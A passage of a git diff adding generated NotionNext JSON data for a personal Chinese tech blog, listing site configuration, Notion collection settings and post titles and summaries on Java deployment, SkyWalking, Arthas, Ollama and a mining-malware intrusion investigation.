8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},"next":{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/article/240124-deploy.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/240124-deploy.json
new file mode 100644
index 000000000..371513776
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/240124-deploy.json
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}